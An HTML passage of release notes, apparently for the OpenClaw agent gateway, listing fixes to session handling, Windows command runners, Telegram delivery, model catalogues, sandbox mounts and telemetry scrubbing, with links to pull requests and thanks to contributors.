<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500457730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85256/hovercard" href="https://github.com/openclaw/openclaw/pull/85256">#85256</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63819/hovercard" href="https://github.com/openclaw/openclaw/issues/63819">#63819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/update: stop treating inherited macOS <code>XPC_SERVICE_NAME</code> values as launchd supervision during update respawn, so GUI-spawned gateways use detached respawn instead of exiting for a missing LaunchAgent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499885357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85224" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85224/hovercard" href="https://github.com/openclaw/openclaw/issues/85224">#85224</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richardmqq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richardmqq">@richardmqq</a>.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464834671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83255/hovercard" href="https://github.com/openclaw/openclaw/pull/83255">#83255</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lightcap/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lightcap">@lightcap</a>.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509644563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85835/hovercard" href="https://github.com/openclaw/openclaw/pull/85835">#85835</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Sandbox: keep workspace skill mounts read-only for remote container-cwd file operations and reject symlinked skill roots before creating protected overlays. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506614699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85591/hovercard" href="https://github.com/openclaw/openclaw/pull/85591">#85591</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Scripts/Windows: route remaining QA, release, profile, and live-media <code>pnpm</code> launches through the managed runner so native Windows avoids brittle <code>.cmd</code> execution and shell-argv warnings.</li>
<li>Release: align generated config/API baselines and the meeting-notes plugin version so release preflight stays green on native Windows.</li>
<li>Install/Windows: run Git hook setup through a Node prepare helper so native Windows installs no longer print POSIX shell errors.</li>
<li>Checks/Windows: chunk and serialize extension oxlint shards on native Windows so changed gates avoid Go-backed linter memory spikes.</li>
<li>Release/Windows: run installed <code>openclaw.cmd</code> verification through explicit <code>cmd.exe</code> wrapping so npm prepublish/postpublish checks avoid Node shell-argv warnings.</li>
<li>Release/Windows: run release-check npm pack/install/root probes through the shared npm runner so native Windows avoids bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Release/Windows: run cross-OS release check <code>.cmd</code> shims through explicit <code>cmd.exe</code> wrapping so native Windows install and gateway probes avoid Node shell-argv handling.</li>
<li>Control UI/Windows: run i18n Pi, npm, and pnpm helper commands through explicit Windows runners so native Windows translation sync avoids brittle <code>.cmd</code> launches.</li>
<li>Scripts/Windows: run the Z.AI fallback repro through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Codex/Windows: run app-server protocol formatting through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Plugins/Windows: run plugin npm package staging through the shared npm runner so native Windows release checks avoid bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
<li>Agents/fs: allow workspace-only host write/edit tools to write through in-workspace symlink directory parents while preserving outside-workspace symlink rejection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489773167" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84696" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84696/hovercard" href="https://github.com/openclaw/openclaw/issues/84696">#84696</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garbagenetwork/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garbagenetwork">@garbagenetwork</a>.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507093570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85652/hovercard" href="https://github.com/openclaw/openclaw/pull/85652">#85652</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Sessions/status: preserve user-facing model, fallback, usage, and cost attribution when internal subagent handoff runs use fallback models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508383924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85726" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85726/hovercard" href="https://github.com/openclaw/openclaw/pull/85726">#85726</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497481106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85082" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85082/hovercard" href="https://github.com/openclaw/openclaw/issues/85082">#85082</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Install/update: honor <code>OPENCLAW_HOME</code> when deriving default dev checkout and installer onboarding paths, while keeping explicit <code>OPENCLAW_GIT_DIR</code> and <code>OPENCLAW_CONFIG_PATH</code> overrides authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130936033" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54014/hovercard" href="https://github.com/openclaw/openclaw/issues/54014">#54014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robertPiro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robertPiro">@robertPiro</a>.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Plugins/Gateway: treat non-empty return values from plugin gateway method handlers as successful responses so <code>openclaw gateway call</code> no longer times out after completed plugin work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191852021" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59470/hovercard" href="https://github.com/openclaw/openclaw/issues/59470">#59470</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HTMG23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HTMG23">@HTMG23</a>.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455291382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82215" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82215/hovercard" href="https://github.com/openclaw/openclaw/issues/82215">#82215</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505095597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85488/hovercard" href="https://github.com/openclaw/openclaw/pull/85488">#85488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Update: keep the detached gateway restart handoff best-effort when the restart script process cannot be spawned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473950124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83892/hovercard" href="https://github.com/openclaw/openclaw/issues/83892">#83892</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davinci282828/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davinci282828">@davinci282828</a>.</li>
<li>Telegram: persist the prompt-context message cache through plugin state and record bot-authored replies after sends and draft streaming so later turns can include prior assistant replies without relying on the JSON sidecar. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499953215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85231/hovercard" href="https://github.com/openclaw/openclaw/pull/85231">#85231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Agents/subagents: keep Codex persona and user workspace files turn-scoped so native Codex subagents inherit only shared tool guidance by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509412584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85811" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85811/hovercard" href="https://github.com/openclaw/openclaw/pull/85811">#85811</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lastguru-net/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lastguru-net">@lastguru-net</a>.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496420539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85032" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85032/hovercard" href="https://github.com/openclaw/openclaw/pull/85032">#85032</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506164844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85549/hovercard" href="https://github.com/openclaw/openclaw/pull/85549">#85549</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roslinmahmud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roslinmahmud">@roslinmahmud</a>.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506775969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85619/hovercard" href="https://github.com/openclaw/openclaw/pull/85619">#85619</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ItsOtherMauridian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ItsOtherMauridian">@ItsOtherMauridian</a>.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506665584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85603/hovercard" href="https://github.com/openclaw/openclaw/pull/85603">#85603</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507633147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85682/hovercard" href="https://github.com/openclaw/openclaw/pull/85682">#85682</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willamhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willamhou">@willamhou</a>.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499834705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85219/hovercard" href="https://github.com/openclaw/openclaw/pull/85219">#85219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492043109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84830/hovercard" href="https://github.com/openclaw/openclaw/pull/84830">#84830</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116048289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52264/hovercard" href="https://github.com/openclaw/openclaw/pull/52264">#52264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PerfectPan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PerfectPan">@PerfectPan</a>.</li>
<li>Checks/Parallels: make changed-lane scripts, shrinkwrap generation, and Parallels package smoke host commands run through native Windows-safe paths and <code>npm</code>/<code>pnpm</code> shims.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506833876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85631/hovercard" href="https://github.com/openclaw/openclaw/pull/85631">#85631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/potterdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/potterdigital">@potterdigital</a>.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506862743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85638/hovercard" href="https://github.com/openclaw/openclaw/pull/85638">#85638</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506794947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85625" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85625/hovercard" href="https://github.com/openclaw/openclaw/pull/85625">#85625</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507745080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85694/hovercard" href="https://github.com/openclaw/openclaw/pull/85694">#85694</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m1qaweb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m1qaweb">@m1qaweb</a>.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505840430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85523/hovercard" href="https://github.com/openclaw/openclaw/issues/85523">#85523</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506755578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85615/hovercard" href="https://github.com/openclaw/openclaw/pull/85615">#85615</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493313282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84901/hovercard" href="https://github.com/openclaw/openclaw/pull/84901">#84901</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504716306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85476/hovercard" href="https://github.com/openclaw/openclaw/pull/85476">#85476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074276828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45613/hovercard" href="https://github.com/openclaw/openclaw/pull/45613">#45613</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/etticat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/etticat">@etticat</a>.</li>
<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473949550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83888/hovercard" href="https://github.com/openclaw/openclaw/issues/83888">#83888</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503861323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85425/hovercard" href="https://github.com/openclaw/openclaw/pull/85425">#85425</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Control UI/chat: keep light-mode model, thinking, config, and agents select arrows visible without tiling background icons. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508151360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85713/hovercard" href="https://github.com/openclaw/openclaw/issues/85713">#85713</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469394538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83604/hovercard" href="https://github.com/openclaw/openclaw/issues/83604">#83604</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497194072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85070" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85070/hovercard" href="https://github.com/openclaw/openclaw/issues/85070">#85070</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497708252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85089/hovercard" href="https://github.com/openclaw/openclaw/pull/85089">#85089</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Gateway: defer channel account startup work until HTTP readiness and remove startup model prewarm, avoiding startup event-loop stalls and timer-delay warnings.</li>
<li>Models/perf: reuse plugin metadata during models.json planning, keep bundled catalog augmentation manifest/static, and use static provider catalogs for metadata-only startup discovery so provider model normalization, auth discovery, and Gateway startup metadata do not reload broad plugin runtimes.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506426602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85570/hovercard" href="https://github.com/openclaw/openclaw/pull/85570">#85570</a>)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
